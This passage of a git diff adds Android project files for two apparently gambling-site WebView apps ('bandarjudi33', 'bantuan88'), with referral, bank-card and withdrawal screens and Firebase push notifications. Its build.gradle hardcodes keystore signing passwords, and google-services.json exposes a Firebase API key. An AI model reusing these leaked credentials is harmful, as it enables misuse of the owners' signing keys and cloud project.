-0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/drawable/shape_dialog_bg2.xml b/bandarjudi33/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/bandarjudi33/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/drawable/shape_dialog_bg3.xml b/bandarjudi33/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/bandarjudi33/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/drawable/shape_dialog_bg_new.xml b/bandarjudi33/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/bandarjudi33/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/bandarjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/bandarjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/bandarjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/bandarjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/mipmap-hdpi/ic_empty.png b/bandarjudi33/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/bandarjudi33/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/bandarjudi33/src/main/res/mipmap-hdpi/ic_pull_down.png b/bandarjudi33/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/bandarjudi33/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/bandarjudi33/src/main/res/mipmap-xhdpi/ic_close.png b/bandarjudi33/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/bandarjudi33/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/bandarjudi33/src/main/res/mipmap-xhdpi/ic_menu.png b/bandarjudi33/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/bandarjudi33/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/bandarjudi33/src/main/res/mipmap-xxhdpi/app_logo.jpg b/bandarjudi33/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..9d707e4 Binary files /dev/null and b/bandarjudi33/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/bandarjudi33/src/main/res/values-en/strings.xml b/bandarjudi33/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/bandarjudi33/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/values-night/themes.xml b/bandarjudi33/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/bandarjudi33/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/values/colors.xml b/bandarjudi33/src/main/res/values/colors.xml new file mode 100644 index 0000000..9c9b8c9 --- /dev/null +++ b/bandarjudi33/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #000000 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/values/strings.xml b/bandarjudi33/src/main/res/values/strings.xml new file mode 100644 index 0000000..87f17c5 --- /dev/null +++ b/bandarjudi33/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + BandarJudi33 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/values/themes.xml b/bandarjudi33/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/bandarjudi33/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/xml/app_updater_paths.xml b/bandarjudi33/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/bandarjudi33/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/xml/network_security_config.xml b/bandarjudi33/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/bandarjudi33/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/xml/provider_paths.xml b/bandarjudi33/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/bandarjudi33/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/bandarjudi33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/bandarjudi33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/bantuan88/.gitignore b/bantuan88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/bantuan88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/bantuan88/build.gradle b/bantuan88/build.gradle new file mode 100644 index 0000000..6acfb0b --- /dev/null +++ b/bantuan88/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.bant" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "bantuan88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/bantuan88/dskjweb.jks b/bantuan88/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/bantuan88/dskjweb.jks differ diff --git a/bantuan88/google-services.json b/bantuan88/google-services.json new file mode 100644 index 0000000..511d031 --- /dev/null +++ b/bantuan88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1063752706590", + "project_id": "bantuans", + "storage_bucket": "bantuans.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1063752706590:android:4668da55f3627294a75c0f", + "android_client_info": { + "package_name": "com.web.bant" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBrn0noxuiNF56OR3UXdTkk5pAaXXUnugk" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/bantuan88/ppn.jks b/bantuan88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/bantuan88/ppn.jks differ diff --git a/bantuan88/proguard-rules.pro b/bantuan88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/bantuan88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/bantuan88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/bantuan88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/bantuan88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/bantuan88/src/main/AndroidManifest.xml b/bantuan88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..a1f42bf --- /dev/null +++ b/bantuan88/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/java/com/web/bant/MainActivity.java b/bantuan88/src/main/java/com/web/bant/MainActivity.java new file mode 100644 index 0000000..002953b --- /dev/null +++ b/bantuan88/src/main/java/com/web/bant/MainActivity.java @@ -0,0 +1,55 @@ +package com.web.bant; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 174; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://bantuan88.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#ffffff"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#eeeeec"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/bantuan88/src/main/java/com/web/bant/MyFirebaseMessageingService.java b/bantuan88/src/main/java/com/web/bant/MyFirebaseMessageingService.java new file mode 100644 index 0000000..f9c4f56 --- /dev/null +++ b/bantuan88/src/main/java/com/web/bant/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.bant; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/bantuan88/src/main/java/com/web/bant/WebApplication.java b/bantuan88/src/main/java/com/web/bant/WebApplication.java new file mode 100644 index 0000000..5a51636 --- /dev/null +++ b/bantuan88/src/main/java/com/web/bant/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.bant; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/bantuan88/src/main/res/drawable-anydpi/ic_action_back.xml b/bantuan88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/bantuan88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/bantuan88/src/main/res/drawable-hdpi/ic_action_back.png b/bantuan88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/bantuan88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/bantuan88/src/main/res/drawable-mdpi/ic_action_back.png b/bantuan88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/bantuan88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/bantuan88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/bantuan88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/bantuan88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/drawable-xhdpi/ic_action_back.png b/bantuan88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/bantuan88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/bantuan88/src/main/res/drawable-xxhdpi/ic_action_back.png b/bantuan88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/bantuan88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/bantuan88/src/main/res/drawable/big_bg.xml b/bantuan88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..67a5c7f --- /dev/null +++ b/bantuan88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/drawable/ic_launcher_background.xml b/bantuan88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/bantuan88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bantuan88/src/main/res/drawable/input_bg.xml b/bantuan88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/bantuan88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/bantuan88/src/main/res/drawable/pass_word_bg.xml b/bantuan88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/bantuan88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/bantuan88/src/main/res/drawable/pass_word_bg1.xml b/bantuan88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/bantuan88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/drawable/pass_word_bg2.xml b/bantuan88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/bantuan88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/drawable/shape_btn_bg.xml b/bantuan88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/bantuan88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/drawable/shape_dialog_bg2.xml b/bantuan88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/bantuan88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/drawable/shape_dialog_bg3.xml b/bantuan88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/bantuan88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/drawable/shape_dialog_bg_new.xml b/bantuan88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/bantuan88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/bantuan88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/bantuan88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/bantuan88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/bantuan88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/mipmap-hdpi/ic_empty.png b/bantuan88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/bantuan88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/bantuan88/src/main/res/mipmap-hdpi/ic_pull_down.png b/bantuan88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/bantuan88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/bantuan88/src/main/res/mipmap-xhdpi/ic_close.png b/bantuan88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/bantuan88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/bantuan88/src/main/res/mipmap-xhdpi/ic_menu.png b/bantuan88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/bantuan88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/bantuan88/src/main/res/mipmap-xxhdpi/app_logo.png b/bantuan88/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..7e768d7 Binary files /dev/null and b/bantuan88/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/bantuan88/src/main/res/values-en/strings.xml b/bantuan88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/bantuan88/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/bantuan88/src/main/res/values-night/themes.xml b/bantuan88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/bantuan88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/values/colors.xml b/bantuan88/src/main/res/values/colors.xml new file mode 100644 index 0000000..825973a --- /dev/null +++ b/bantuan88/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + 